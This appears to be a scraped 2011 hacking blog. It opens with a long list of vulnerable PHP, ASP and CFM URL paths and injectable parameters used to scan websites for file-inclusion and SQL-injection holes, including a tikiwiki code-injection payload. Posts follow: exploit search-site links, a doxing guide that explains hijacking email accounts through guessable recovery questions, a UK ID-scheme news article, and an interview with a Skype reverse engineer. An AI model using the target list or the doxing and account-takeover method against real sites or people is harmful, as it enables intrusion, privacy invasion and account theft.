/padrao.php?qry=
/padrao.php?read=
/padrao.php?redirect=
/padrao.php?rub=
/padrao.php?secao=
/padrao.php?secc=
/padrao.php?seccion=
/padrao.php?section=
/padrao.php?seite=
/padrao.php?sekce=
/padrao.php?sivu=
/padrao.php?str=
/padrao.php?strona=
/padrao.php?subject=
/padrao.php?texto=
/padrao.php?tipo=
/padrao.php?type=
/padrao.php?u=
/padrao.php?url=
/padrao.php?var=
/padrao.php?xlink=
/page.php5?id=
/page.php?*[*]*=
/page.php?OpenPage=
/page.php?abre=
/page.php?action=
/page.php?addr=
/page.php?adresa=
/page.php?arq=
/page.php?base_dir=
/page.php?chapter=
/page.php?choix=
/page.php?cmd=
/page.php?cont=
/page.php?doc=
/page.php?e=
/page.php?ev=
/page.php?eval=
/page.php?g=
/page.php?go=
/page.php?goto=
/page.php?inc=
/page.php?incl=
/page.php?ir=
/page.php?left=
/page.php?link=
/page.php?ln=
/page.php?load=
/page.php?loader=
/page.php?mid=
/page.php?middle=
/page.php?mod=
/page.php?modo=
/page.php?module=
/page.php?numero=
/page.php?oldal=
/page.php?option=
/page.php?p=
/page.php?pa=
/page.php?panel=
/page.php?phpbb_root_path=
/page.php?pname=
/page.php?pref=
/page.php?q=
/page.php?qry=
/page.php?read=
/page.php?recipe=
/page.php?redirect=
/page.php?s=
/page.php?secao=
/page.php?section=
/page.php?seite=
/page.php?showpage=
/page.php?sivu=
/page.php?strona=
/page.php?subject=
/page.php?tipo=
/page.php?url=
/page.php?where=
/page.php?z=
/pages.php?page=
/pagina.php?OpenPage=
/pagina.php?base_dir=
/pagina.php?basepath=
/pagina.php?category=
/pagina.php?channel=
/pagina.php?chapter=
/pagina.php?choix=
/pagina.php?cmd=
/pagina.php?dir=
/pagina.php?ev=
/pagina.php?filepath=
/pagina.php?g=
/pagina.php?go=
/pagina.php?goto=
/pagina.php?header=
/pagina.php?home=
/pagina.php?id=
/pagina.php?in=
/pagina.php?incl=
/pagina.php?include=
/pagina.php?index=
/pagina.php?ir=
/pagina.php?k=
/pagina.php?lang=
/pagina.php?left=
/pagina.php?link=
/pagina.php?load=
/pagina.php?loader=
/pagina.php?loc=
/pagina.php?mid=
/pagina.php?middlePart=
/pagina.php?modo=
/pagina.php?my=
/pagina.php?n=
/pagina.php?nivel=
/pagina.php?numero=
/pagina.php?oldal=
/pagina.php?pagina=
/pagina.php?panel=
/pagina.php?path=
/pagina.php?pr=
/pagina.php?pre=
/pagina.php?q=
/pagina.php?read=
/pagina.php?recipe=
/pagina.php?ref=
/pagina.php?sec=
/pagina.php?secao=
/pagina.php?seccion=
/pagina.php?section=
/pagina.php?sekce=
/pagina.php?start=
/pagina.php?str=
/pagina.php?thispage=
/pagina.php?tipo=
/pagina.php?to=
/pagina.php?type=
/pagina.php?u=
/pagina.php?v=
/pagina.php?z=
/path.php?*[*]*=
/path.php?action=
/path.php?addr=
/path.php?adresa=
/path.php?body=
/path.php?category=
/path.php?channel=
/path.php?chapter=
/path.php?cmd=
/path.php?destino=
/path.php?disp=
/path.php?doshow=
/path.php?ev=
/path.php?eval=
/path.php?filepath=
/path.php?goto=
/path.php?header=
/path.php?home=
/path.php?id=
/path.php?in=
/path.php?incl=
/path.php?ir=
/path.php?left=
/path.php?link=
/path.php?load=
/path.php?loader=
/path.php?menue=
/path.php?mid=
/path.php?middle=
/path.php?middlePart=
/path.php?my=
/path.php?nivel=
/path.php?numero=
/path.php?opcion=
/path.php?option=
/path.php?p=
/path.php?pageweb=
/path.php?panel=
/path.php?path=
/path.php?play=
/path.php?pname=
/path.php?pre=
/path.php?pref=
/path.php?qry=
/path.php?recipe=
/path.php?sec=
/path.php?secao=
/path.php?sivu=
/path.php?sp=
/path.php?start=
/path.php?strona=
/path.php?subject=
/path.php?thispage=
/path.php?tipo=
/path.php?type=
/path.php?var=
/path.php?where=
/path.php?xlink=
/path.php?y=
/path/index.php?function=custom &custom=
/path_of_cpcommerce/_functions.php?prefix
/path_of_cpcommerce/_functions.php?prefix=
/phfito/phfito-post?SRC_PATH=
/phpffl/phpffl_webfiles/program_files/livedraft/admin.php?PHPFFL_FILE_ROO T=
/phpffl/phpffl_webfiles/program_files/livedraft/livedraft.php?PHPFFL_FILE _ROOT=
/phphtml.php?htmlclass_pat h=
/phprojekt/lib/config.inc.php?path_pre=
/phprojekt/lib/gpcs_vars.inc.php?path_pr e=
/phprojekt/lib/layout/venus/venus.php?path_pre=
/phprojekt/lib/lib.inc.php?path_pre=
/phpshop/index.php?base_dir=
/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=
/phpwcms_template/inc_script/frontend_render/navigation/config_HTML_MENU.php?HTML _MENU_DirPath=
/phpwcms_template/inc_script/frontend_render/navigation/config_PHPLM.php?HTML_MEN U_DirPath=
/pivot/modules/module_db.php?pivot_path=
/pm/lib.inc.php?pm_path=
/pop.php?base=
/port.php?content=
/powerup.cgi?a=latest&t=
/prepare.php?xcart_dir=
/press.php?*[*]*=
/press.php?*root*=
/press.php?OpenPage=
/press.php?abre=
/press.php?addr=
/press.php?base_dir=
/press.php?category=
/press.php?channel=
/press.php?destino=
/press.php?dir=
/press.php?ev=
/press.php?get=
/press.php?goFile=
/press.php?home=
/press.php?i=
/press.php?id=
/press.php?inc=
/press.php?incl=
/press.php?include=
/press.php?ir=
/press.php?itemnav=
/press.php?lang=
/press.php?link=
/press.php?loader=
/press.php?menu=
/press.php?mid=
/press.php?middle=
/press.php?modo=
/press.php?module=
/press.php?my=
/press.php?nivel=
/press.php?opcion=
/press.php?option=
/press.php?pa=
/press.php?page=
/press.php?pageweb=
/press.php?pagina=
/press.php?panel=
/press.php?param=
/press.php?path=
/press.php?pg=
/press.php?pname=
/press.php?pr=
/press.php?pref=
/press.php?redirect=
/press.php?rub=
/press.php?second=
/press.php?seite=
/press.php?strona=
/press.php?subject=
/press.php?t=
/press.php?thispage=
/press.php?to=
/press.php?type=
/press.php?where=
/press.php?xlink=
/presse.php?do=
/principal.php?abre=
/principal.php?addr=
/principal.php?b=
/principal.php?basepath=
/principal.php?choix=
/principal.php?cont=
/principal.php?conteudo=
/principal.php?corpo=
/principal.php?d=
/principal.php?destino=
/principal.php?disp=
/principal.php?ev=
/principal.php?eval=
/principal.php?f=
/principal.php?filepath=
/principal.php?goto=
/principal.php?header=
/principal.php?home=
/principal.php?id=
/principal.php?in=
/principal.php?inc=
/principal.php?index=
/principal.php?ir=
/principal.php?ki=
/principal.php?l=
/principal.php?left=
/principal.php?link=
/principal.php?load=
/principal.php?loader=
/principal.php?loc=
/principal.php?menue=
/principal.php?middle=
/principal.php?middlePart=
/principal.php?module=
/principal.php?my=
/principal.php?n=
/principal.php?nivel=
/principal.php?oldal=
/principal.php?opcion=
/principal.php?p=
/principal.php?pag=
/principal.php?pagina=
/principal.php?param=
/principal.php?phpbb_root_ path=
/principal.php?pollname=
/principal.php?pr=
/principal.php?pre=
/principal.php?pref=
/principal.php?q=
/principal.php?read=
/principal.php?recipe=
/principal.php?ref=
/principal.php?rub=
/principal.php?s=
/principal.php?secc=
/principal.php?seccion=
/principal.php?seite=
/principal.php?strona=
/principal.php?subject=
/principal.php?tipo=
/principal.php?to=
/principal.php?type=
/principal.php?url=
/principal.php?viewpage=
/principal.php?w=
/principal.php?z=
/print.php?*root*=
/print.php?OpenPage=
/print.php?addr=
/print.php?base_dir=
/print.php?basepath=
/print.php?category=
/print.php?chapter=
/print.php?choix=
/print.php?cont=
/print.php?dir=
/print.php?disp=
/print.php?doshow=
/print.php?g=
/print.php?goFile=
/print.php?goto=
/print.php?header=
/print.php?in=
/print.php?inc=
/print.php?itemnav=
/print.php?ki=
/print.php?l=
/print.php?left=
/print.php?link=
/print.php?loc=
/print.php?menu=
/print.php?menue=
/print.php?middle=
/print.php?middlePart=
/print.php?module=
/print.php?my=
/print.php?name=
/print.php?numero=
/print.php?opcion=
/print.php?open=
/print.php?option=
/print.php?pag=
/print.php?page=
/print.php?pager=
/print.php?param=
/print.php?path=
/print.php?play=
/print.php?pname=
/print.php?pollname=
/print.php?pre=
/print.php?r=
/print.php?read=
/print.php?rub=
/print.php?s=
/print.php?sekce=
/print.php?sivu=
/print.php?sp=
/print.php?str=
/print.php?strona=
/print.php?table=
/print.php?thispage=
/print.php?tipo=
/print.php?type=
/print.php?u=
/print.php?where=
/prod.php?prod=
/proddetail.php?prod=
/products.php?prod=
/produit.php?prod=
/produkt.php?prod=
/protection.php?action=log out&siteurl=
/provider/auth.php?xcart_dir=
/public_includes/pub_blocks/activecontent.php?vsDrago nRootPath=
/reporter.cgi?t=
/reports.php?sub=
/rss.php?phpraid_dir=
/s.php?table=
/s1.php?ln=
/scan
/search.php?cutepath=
/search.php?exec=
/send_reminders.php?includ edir=
/sendpage.php?page=
/senetman/html/index.php?page=
/services.php?page=
/shop.php?prod=
/shop.pl/page=
/shoutbox/expanded.php?conf=
/show.php?*root*=
/show.php?abre=
/show.php?adresa=
/show.php?b=
/show.php?base_dir=
/show.php?channel=
/show.php?chapter=
/show.php?cmd=
/show.php?corpo=
/show.php?d=
/show.php?disp=
/show.php?file=
/show.php?filepath=
/show.php?get=
/show.php?go=
/show.php?header=
/show.php?home=
/show.php?inc=
/show.php?incl=
/show.php?include=
/show.php?index=
/show.php?ir=
/show.php?j=
/show.php?ki=
/show.php?l=
/show.php?left=
/show.php?loader=
/show.php?m=
/show.php?mid=
/show.php?middlePart=
/show.php?modo=
/show.php?module=
/show.php?my=
/show.php?n=
/show.php?nivel=
/show.php?oldal=
/show.php?page1=
/show.php?page=
/show.php?pageweb=
/show.php?pagina=
/show.php?param=
/show.php?path=
/show.php?play=
/show.php?pname=
/show.php?pre=
/show.php?product=
/show.php?qry=
/show.php?r=
/show.php?read=
/show.php?recipe=
/show.php?redirect=
/show.php?seccion=
/show.php?second=
/show.php?sp=
/show.php?thispage=
/show.php?to=
/show.php?type=
/show.php?x=
/show.php?xlink=
/show.php?z=
/show_news.php?cutepath=
/side.php?arq=
/side.php?table=
/side.php?vis=
/site.php?arq=
/site.php?meio=
/site.php?table=
/sitio.php?*root*=
/sitio.php?abre=
/sitio.php?addr=
/sitio.php?body=
/sitio.php?category=
/sitio.php?chapter=
/sitio.php?content=
/sitio.php?destino=
/sitio.php?disp=
/sitio.php?doshow=
/sitio.php?e=
/sitio.php?ev=
/sitio.php?get=
/sitio.php?go=
/sitio.php?goFile=
/sitio.php?inc=
/sitio.php?incl=
/sitio.php?index=
/sitio.php?ir=
/sitio.php?left=
/sitio.php?menu=
/sitio.php?menue=
/sitio.php?mid=
/sitio.php?middlePart=
/sitio.php?modo=
/sitio.php?name=
/sitio.php?nivel=
/sitio.php?oldal=
/sitio.php?opcion=
/sitio.php?option=
/sitio.php?pageweb=
/sitio.php?param=
/sitio.php?pg=
/sitio.php?pr=
/sitio.php?qry=
/sitio.php?r=
/sitio.php?read=
/sitio.php?recipe=
/sitio.php?redirect=
/sitio.php?rub=
/sitio.php?sec=
/sitio.php?secao=
/sitio.php?secc=
/sitio.php?section=
/sitio.php?sivu=
/sitio.php?sp=
/sitio.php?start=
/sitio.php?strona=
/sitio.php?t=
/sitio.php?texto=
/sitio.php?tipo=
/skins/advanced/advanced1.php?pluginpath[0]=
/smarty.php?xcart_dir=
/smarty_config.php?root_di r=
/solpot.html?body=
/source/mod/rss/channeledit.php?Codebase=
/source/mod/rss/post.php?Codebase=
/source/mod/rss/view.php?Codebase=
/source/mod/rss/viewitem.php?Codebase=
/standard.php?*[*]*=
/standard.php?abre=
/standard.php?action=
/standard.php?base_dir=
/standard.php?body=
/standard.php?channel=
/standard.php?chapter=
/standard.php?cmd=
/standard.php?cont=
/standard.php?destino=
/standard.php?dir=
/standard.php?e=
/standard.php?ev=
/standard.php?eval=
/standard.php?go=
/standard.php?goFile=
/standard.php?goto=
/standard.php?home=
/standard.php?in=
/standard.php?include=
/standard.php?index=
/standard.php?j=
/standard.php?lang=
/standard.php?link=
/standard.php?menu=
/standard.php?middle=
/standard.php?my=
/standard.php?name=
/standard.php?numero=
/standard.php?oldal=
/standard.php?op=
/standard.php?open=
/standard.php?pagina=
/standard.php?panel=
/standard.php?param=
/standard.php?phpbb_root_p ath=
/standard.php?pollname=
/standard.php?pr=
/standard.php?pre=
/standard.php?pref=
/standard.php?q=
/standard.php?qry=
/standard.php?ref=
/standard.php?s=
/standard.php?secc=
/standard.php?seccion=
/standard.php?section=
/standard.php?showpage=
/standard.php?sivu=
/standard.php?str=
/standard.php?subject=
/standard.php?url=
/standard.php?var=
/standard.php?viewpage=
/standard.php?w=
/standard.php?where=
/standard.php?xlink=
/standard.php?z=
/start.php?*root*=
/start.php?abre=
/start.php?addr=
/start.php?adresa=
/start.php?b=
/start.php?base_dir=
/start.php?basepath=
/start.php?body=
/start.php?chapter=
/start.php?cmd=
/start.php?corpo=
/start.php?destino=
/start.php?eval=
/start.php?go=
/start.php?header=
/start.php?home=
/start.php?id=
/start.php?in=
/start.php?include=
/start.php?index=
/start.php?ir=
/start.php?lang=
/start.php?load=
/start.php?loader=
/start.php?mid=
/start.php?mod=
/start.php?modo=
/start.php?module=
/start.php?name=
/start.php?nivel=
/start.php?o=
/start.php?oldal=
/start.php?op=
/start.php?option=
/start.php?p=
/start.php?pag=
/start.php?page=
/start.php?pageweb=
/start.php?panel=
/start.php?param=
/start.php?pg=
/start.php?play=
/start.php?pname=
/start.php?pollname=
/start.php?rub=
/start.php?s=
/start.php?secao=
/start.php?seccion=
/start.php?seite=
/start.php?showpage=
/start.php?sivu=
/start.php?sp=
/start.php?str=
/start.php?strona=
/start.php?thispage=
/start.php?tipo=
/start.php?where=
/start.php?xlink=
/stphpapplication.php?STPH PLIB_DIR=
/stphpbtnimage.php?STPHPLI B_DIR=
/stphpform.php?STPHPLIB_DI R=
/str.php?l=
/str.php?lang=
/str.php?ln=
/str.php?p=
/str.php?page=
/sub*.php?*[*]*=
/sub*.php?*root*=
/sub*.php?OpenPage=
/sub*.php?abre=
/sub*.php?action=
/sub*.php?adresa=
/sub*.php?b=
/sub*.php?base_dir=
/sub*.php?basepath=
/sub*.php?body=
/sub*.php?category=
/sub*.php?channel=
/sub*.php?chapter=
/sub*.php?cont=
/sub*.php?content=
/sub*.php?corpo=
/sub*.php?destino=
/sub*.php?g=
/sub*.php?go=
/sub*.php?goFile=
/sub*.php?header=
/sub*.php?id=
/sub*.php?include=
/sub*.php?ir=
/sub*.php?itemnav=
/sub*.php?j=
/sub*.php?k=
/sub*.php?lang=
/sub*.php?left=
/sub*.php?link=
/sub*.php?load=
/sub*.php?menue=
/sub*.php?mid=
/sub*.php?middle=
/sub*.php?mod=
/sub*.php?modo=
/sub*.php?module=
/sub*.php?my=
/sub*.php?name=
/sub*.php?oldal=
/sub*.php?op=
/sub*.php?open=
/sub*.php?option=
/sub*.php?pa=
/sub*.php?pag=
/sub*.php?panel=
/sub*.php?path=
/sub*.php?phpbb_root_path=
/sub*.php?play=
/sub*.php?pname=
/sub*.php?pre=
/sub*.php?qry=
/sub*.php?recipe=
/sub*.php?rub=
/sub*.php?s=
/sub*.php?sec=
/sub*.php?secao=
/sub*.php?secc=
/sub*.php?seite=
/sub*.php?sp=
/sub*.php?str=
/sub*.php?thispage=
/sub*.php?u=
/sub*.php?viewpage=
/sub*.php?where=
/sub*.php?z=
/sub.php?menu=
/sub.php?s=
/sub.php?sub=
/support/mailling/maillist/inc/initdb.php?absolute_path=
/support_page.cgi?file_nam e=
/task.php?task=
/template.php?*[*]*=
/template.php?a=
/template.php?addr=
/template.php?base_dir=
/template.php?basepath=
/template.php?c=
/template.php?choix=
/template.php?cont=
/template.php?content=
/template.php?corpo=
/template.php?dir=
/template.php?doshow=
/template.php?e=
/template.php?f=
/template.php?goto=
/template.php?h=
/template.php?header=
/template.php?ir=
/template.php?k=
/template.php?lang=
/template.php?left=
/template.php?load=
/template.php?menue=
/template.php?mid=
/template.php?mod=
/template.php?name=
/template.php?nivel=
/template.php?op=
/template.php?opcion=
/template.php?pag=
/template.php?page=
/template.php?pagina
/template.php?pagina=
/template.php?panel=
/template.php?param=
/template.php?path=
/template.php?play=
/template.php?pre=
/template.php?qry=
/template.php?ref=
/template.php?s=
/template.php?secao=
/template.php?second=
/template.php?section=
/template.php?seite=
/template.php?sekce=
/template.php?showpage=
/template.php?sp=
/template.php?str=
/template.php?t=
/template.php?texto=
/template.php?thispage=
/template.php?tipo=
/template.php?viewpage=
/template.php?where=
/template.php?y=
/test.php?page=
/tikiwiki/tiki-graph_formula.php?w=1&h=1 &s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&ti tle=
/trans.php?trans=
/video.php?content=
/view.php?*[*]*=
/view.php?adresa=
/view.php?b=
/view.php?body=
/view.php?channel=
/view.php?chapter=
/view.php?choix=
/view.php?cmd=
/view.php?content=
/view.php?disp=
/view.php?get=
/view.php?go=
/view.php?goFile=
/view.php?goto=
/view.php?header=
/view.php?incl=
/view.php?ir=
/view.php?ki=
/view.php?lang=
/view.php?load=
/view.php?loader=
/view.php?mid=
/view.php?middle=
/view.php?mod=
/view.php?oldal=
/view.php?option=
/view.php?pag=
/view.php?page=
/view.php?panel=
/view.php?pg=
/view.php?phpbb_root_path=
/view.php?pollname=
/view.php?pr=
/view.php?qry=
/view.php?recipe=
/view.php?redirect=
/view.php?sec=
/view.php?secao=
/view.php?seccion=
/view.php?second=
/view.php?seite=
/view.php?showpage=
/view.php?sp=
/view.php?str=
/view.php?sub=
/view.php?table=
/view.php?to=
/view.php?type=
/view.php?u=
/view.php?var=
/view.php?where=
/voir.php?inc=
/vote.pl?action=show&id=
/wamp_dir/setup/yesno.phtml?no_url=
/werbungFrame.php?do=
/whereami.cgi?g=id
/word.php?id=
/xGB.php?act=admin&do=
/yabbse/Sources/Packages.php?sourcedir=
/zboard/zboard.php
/zentrack/index.php?configFile=
/cat.asp?cat=
/productlist.asp?catalogid =
/Category.asp?category_id=
/Category.cfm?category_id=
/category.asp?cid=
/category.cfm?cid=
/category.asp?cat=
/category.cfm?cat=
/category.asp?id=
/index.cfm?pageid=
/category.asp?catid=
/Category.asp?c=
/Category.cfm?c=
/productlist.cfm?catalogid =
/productlist.asp?catalogid =
/viewitem.asp?catalogid=
/viewitem.cfm?catalogid=
/catalog.cfm?catalogId=
/catalog.asp?catalogId=
/department.cfm?dept=
/department.asp?dept=
/itemdetails.cfm?catalogId =
/itemdetails.asp?catalogId =
/product_detail.asp?catalo gid=
/product_detail.cfm?catalo gid=
/product_list.asp?catalogi d=
/product_list.cfm?catalogi d=
/ShowProduct.cfm?CatID=
/ShowProduct.asp?CatID=
/search_results.cfm?txtsea rchParamCat=
/search_results.asp?txtsea rchParamCat=
/itemdetails.cfm?catalogId =
/itemdetails.asp?catalogId =
/store-page.cfm?go=
/store-page.asp?go=
/Detail.cfm?CatalogID=
/Detail.asp?CatalogID=
/browse.cfm?category_id=
/view.cfm?category_id=
/products.cfm?category_id=
/index.cfm?Category_ID=
/detail.cfm?id=
/category.cfm?id=
/showitems.cfm?category_id =
/ViewProduct.asp?PID=
/ViewProduct.cfm?PID=
/shopdisplayproducts.asp?c atalogid=
/shopdisplayproducts.cfn?c atalogid=
/displayproducts.cfm?categ ory_id=
/displayproducts.asp?categ ory_id=
/DisplayProducts.asp?prodc at=
/DisplayProducts.cfm?prodc at=x
/productDetail.cfm?Product ID=
/products.php?subcat_id=
/showitem.cfm?id=21
/productdetail.cfm?pid=
/default.cfm?action=46
/products_accessories.asp? CatId=
/Store_ViewProducts.asp?Ca t=
/category.cfm?categoryID=
/category.asp?category=
/tepeecart.cfm?shopid=
/view_product.asp?productI D=
/ProductDetails.asp?prdId= 12
/products.cfm?ID=
/detail.asp?product_id=
/product_detail.asp?produc t_id=
/products.php?subcat_id=
/product.php?product_id=
/view_product.cfm?productI D=
/product_details.asp?prodi d=
/shopdisplayproducts.cfm?i d=
/displayproducts.cfm?id=

Exploitsearch.net - Exploit & Yulnerability Search Engine

2011-07-12T22:41:00.000+08:00

This is a online search for currently utilizing data from NVD, OSVDB, SecurityFocus, Exploit-DB, Metasploit, Nessus, OpenVAS, and PacketStorm.Well search engine does the work but this is a specific search engine for better results. There not much to write about just visit the site and all your queries will be answered.
VISIT : http://www.exploitsearch.net/

Yulnerpedia: Your resource for information on yulnerbilities

2011-06-27T08:34:00.001+08:00

Check this site out Main Page - YulneraPedia its got all sort of info on all sort of vulnerbilities such as XSS, SQLi and others presented in wikipedia style formating. They even have links at the bottom for you to go and look at more information on the topic.

Hacker heaven :)

Have fun and let me know if this was useful. I just stumbled across it while searching for more stuff for my course.

//credit to tekwizz from intenot..

What Is Doxing? - Doxing And It's Uses

2011-06-26T22:39:00.001+08:00

First, let me explain what Doxing is. Doxing is the process of gaining information about someone or something by using sources on the Internet and using basic deduction skills. Its name is derived from “Documents” and in short it is the retrieval of “Documents” on a person or company.

You’re probably thinking, “Okay, so basically it’s getting information from searching someone’s email on Google right?” in a sense yes, but there are actually easier ways to get someone’s information online. The most popular and most common method is to use a website called Pipl (http://www.pipl.com/). Pipl allows you to search for full names, emails, usernames, and even phone numbers, thus making it a very useful tool for hackers. Another source hackers can use is Facebook (http://www.facebook.com). Sure, Facebook allows full name searches, but most hackers aren’t using it for its name search; they’re using it for its email search.

The main goal when Doxing is to find the target’s email (if you don’t have it). Your email is essentially your passport online; you sign up for websites using it, you have personal information on it, and if someone has access to it, they can essentially pretend to be you online. Once the hacker has the email, all he has to do is put it into Facebook or Pipl and he will be able to find you, assuming the email he has is connected to some account you have online. On the flipside of this, in order to find your email, the hacker either has to guess your email, befriend you on Facebook,or, hack one of your vulnerable friends and view your email that way. Once he’s done that, you’re in trouble.

Now, you’re probably thinking, “How’s he going to hack me with just my email?” well, that’s where Doxing comes in handy. If he can view your Facebook account, or he can find some other bit of information about you using Pipl, he can do what’s called reverting. Reverting is the process of using the target’s email’s recovery questions to gain access to the target’s email. Now, you may be thinking, “How’s he gonna guess my recovery question answers?” well, take a second look at your recovery questions and ask yourself, “Can someone find this answer online?” If you answered yes, then you’re vulnerable to reverting.
Any hacker reading this, that didn't previously know about reverting, would probably look at this and say

“This would never work!” but you have to remember… we’re all humans, and we all make mistakes. Surprisingly, this method works more often than you’d think, but it is not for anyone who is lazy. Doxers tend to spend a while searching around the web for information that they can use.

Chances are, you’ve made some mistakes online, and if a skilled Doxer finds that mistake, then you’re in trouble. The Doxing method is based purely on the ability of the hacker to recognize valuable information about his target and use this information to his benefit. It is also based around the idea that, “The more you know about your target, the easier it will be to find his or her flaws.”

How can you insure that you won’t be Doxed?
Well, as the Internet becomes more and more useful and addicting, it will become harder to not get Doxed. The main issue for most victims is their security questions, and their password security. If a victim has a very easy-to-find recovery question, then the victim will be easily reverted within a matter of seconds. Also, if the victim has a simple password, it could get brute forced simply by using a wordlist that applies to the victim’s interests, likes, and fancies (of course, this method is not as popular).

So, the main rule to not getting hacked is: Have secure passwords, and almost impossible to guess recovery questions. The main rule to not getting Doxed is… to just stay off the Internet; but, who wants to do that?

//http://www.rafayhackingarticles.net

Cabinet Office talks to Facebook & co about new ID system

2011-06-16T13:52:00.000+08:00

Online access to public services could be via social networks

Exclusive Facebook and other social networks could be used by British citizens to sign into public services online, The Register has learned.

A Cabinet Office spokeswoman confirmed to us this morning that the department was speaking to "a range of industry" about its ID assurance scheme, a prototype for which is expected in October this year.

Cabinet Office minister Francis Maude said in the House of Commons last month that "people will be able to use the service of their choice to prove identity when accessing any public services [via the internet]."

Companies such as banks that already hold personal customer information in their databases will be among private sector organisations involved in the new system.
But social networks are also in the mix, too.
The Cabinet Office spokeswoman didn't want to offer specific details about individual companies such as Facebook and Google, instead preferring to say that "social networks could possibly be involved with the system."
She was keen to stress that "no data would be held by the government through the ID assurance scheme" because, in effect, the identity authentication process would be farmed out to a variety of players in the private sector.
Maude said in May that the Cabinet Office wanted to "create a market of accredited identity assurance services delivered by a range of private sector and mutualised suppliers."
Privacy advocates have already begun to question the Cabinet Office's identity assurance plans, with some claiming that it's building its very own National ID Card scheme, just without the card.
"This scheme is purely for public services," retorted the Cabinet Office spokeswoman, in response to those accusations.
"There's no more data held than we already have," she said.
In August last year, the Cabinet Office issued a pre-tender notice to encourage what it described as submissions from "trusted private sector identity service providers" on developing the concept of ID assurance.
But the Cabinet Office has been careful to insist that privacy would be at the forefront of such a system, and it has spoken with the likes of NO2ID in an effort to be seen to be doing the right thing.
NO2ID's Guy Herbert is yet to be convinced, however.
He expressed doubts in the comments section of one of our earlier stories on ID assurance last month.
"We don't want a nice-sounding scheme, with the appearance of a distributed trust network, to become a means in practice for departments to hoover up even more personal details of citizens, control identities, and/or to slosh the silos together.
"And for that reason we want a clear view of the legal framework first, because that, in government is a clearer guide to what can happen than any number of pretty diagrams," said Herbert.
Microsoft's erstwhile ID expert Kim Cameron expressed concerns about a current trend within the tech industry to offer a one-stop login shop to authenticate individual users. That's a trend that has arguably slipped into Cabinet Office policy.
Maude has cast his ID assurance plans as a way of cutting duplication and thereby saving money for the public purse.
As for timescales, the Cabinet Office will have a prototype of the system by the autumn with plans to "go to market" in April 2012. The first public services earmarked for testing of the system include the Department for Work and Pension’s universal credits, NHS HealthSpace, HMRC’s one click programmes and the Skills Funding Agency.
The Cabinet Office has ambitious plans to implement the scheme by August next year.
All of which suggests that the issue of the government's handling of British citizens' ID is about to get very interesting again. ®

http://www.theregister.co.uk/2011/06/10/caninet_office_id_assurance_facebook/

//Do u think that Malaysia will follow the same step?

Efim Bushmanov: “Good products can’t stay proprietary for long”

2011-06-16T13:45:00.000+08:00

Tucked away in Syktyvkar, the capital of the Komi Republic some 1,400 km northeast of Moscow, Russian programming researcher Efim Bushmanov is getting a lot of attention. Having reverse engineered Skype protocols and then made his research available to the public via his blog just a few days ago on June 2, search queries bearing his name now generate over 10,000 responses on Google. In this interview with EWDN – his first ever exchange with the press – the 30 year old Bushmanov reveals some of what he’s been up to over the past three years while working to replicate Skype’s ‘blackbox.’ While praising Skype for its “unbelievable quality,” he responds to accusations of copyright violations and shares his vision of an open-source VoIP future.

Who is Bushmanov?
Computers are my life and my only hobby. I don’t get out too much, but when I do I prefer odd times when not many people are about. I’m an avid morning jogger in the summer – this is when I get my daily dose of fresh air. In the winter I ski cross country. I’m inspired by classical music and I’ve always got Spivakov Classic internet radio going in my apartment. I’m a loner, mostly, but I keep up correspondence with programmers and code enthusiasts from around the world online.
I graduated from the faculty of physical Sciences at Syktyvkar State University, where I specialized in theoretical and computational physics.
I was a systems administrator in two banks until the economic crisis came in 2008, and then I left because I was fed up with working there. Now I do research on my own projects. Officially I am unemployed, but I do freelance works. I do programming through such sites as rentacoder.com and scriptlance.com. This is why I have so much time to study all sorts of interesting and complex things. Like Skype, for instance.

What are your favorite things in computing?
I like learning and hacking Linux kernel. Understanding the Linux Kernel, published by O’Reilly Media, is the best book I ever read on this theme. I also like researching networks and protocols.I enjoy research and learn in Cisco production and network protocols. I am always interested in things such as the way BGP works.
In 2000, I was very interested in x.25 (SPRINTNET/TELENET) networks. They are very outdated now, but still interesting from the point of view of a protocol researcher. x.25 networks, which appeared in the US even before the Internet, were also popular in Russia in the late 1990s due to the high cost of Internet access. The main challenge was the lack of access to the network level (in OSI terminology). Access was possible only via PAD, a hardware device which enabled access, but only to the application layer.
I overcame this obstacle when I found the Cisco XoT (x.25 over TCP) specification. Later, my experience with the protocols for the x25 networks, which are very closed and proprietary, helped me a lot in my research on the Skype protocol.
So I like the challenge of research into proprietary objects precisely because they are complex, closed things. Many people see as useless and a complete waste of time, but they are in a very real sense, the mechanisms of our daily online lives.
But I also like to work on web technologies. I code in Python and Perl, sometimes with ajax/jquery.

Why did you decide to create this open source version of Skype? What was your motivation?
First of all, this was a very exciting reverse engineering challenge. Skype presents a lot of questions regarding security. I was simply curious to know what was inside.
I like Skype. It is a good product. Most importantly, it is well-tested and fine-tuned. Open source products cannot match that level of polish.
I don’t intend and I have no plans to compete with Skype in any way. Let this good product remain as it is. I just wanted to create a product compatible for all Linux users who are waiting impatiently for it. For example, we could make a jabber/XMPP/gmail gateway to Skype and a “real” pidgin plugin for it. An open source version, in addition, will be useful to everyone.
Good products don’t remain closeted for a very long time because the open source community likes them. Skype is just the kind of intruiging puzzle that has been screaming “crack me” to members of the reverse engineers community for a long time. And now, we have a proof of concept code for it.
ICQ – which was also reverse engineered – was finally surpassed by QIP client on the Russian market, for example. This won’t happen with Skype, though. It doesn’t have those annoying ads. At the end of the day, Skype will remain because of its complexity and unbelievable quality.

When did you start this work? How long did it take you? Did you do it alone?
I started to take an interest in Skype in February 2008, when I received de-obfuscated skype14.exe binary.
I didn’t work on this project continually, just from time to time. The most active phase was between 2008 and 2010, with some interruptions.
It looked like a pipe dream in the beginning, but then it became more exciting, and I took up a blackbox approach to the project. The security layers came off, one after the other. But the job remains unfinished!
The de-obfuscated skype 14 binary I had made it much easier to me than to other researchers, although a lot of research on this has been available since 2006. The most interesting studies have come from the Sean O’Neil’s VEST Corporation and the guys at EADS.net – particularly ‘Vanila Skype,’ and then ‘Silver Needle’ and other presentations.
The hardest part was to understand and reverse engineer the packing and unpacking of the internal objects or ‘arithmetic encoding,’ as it is called in Vanilla Skype. When you remove the RC4 encryption code, you can’t see the text data and you can’t figure out what is really in it. You see just this zip-like packaged object.
All this made my version look horrible. Later, however, I discovered Sean O’Neil’s remarkable reversing of the unpack_4142 function. His login/registration code to receive Skype’s certificate is also very strong.
Finding the portions of code responsible for RSA/AES, understanding how they worked and how to use them was not easy, either.
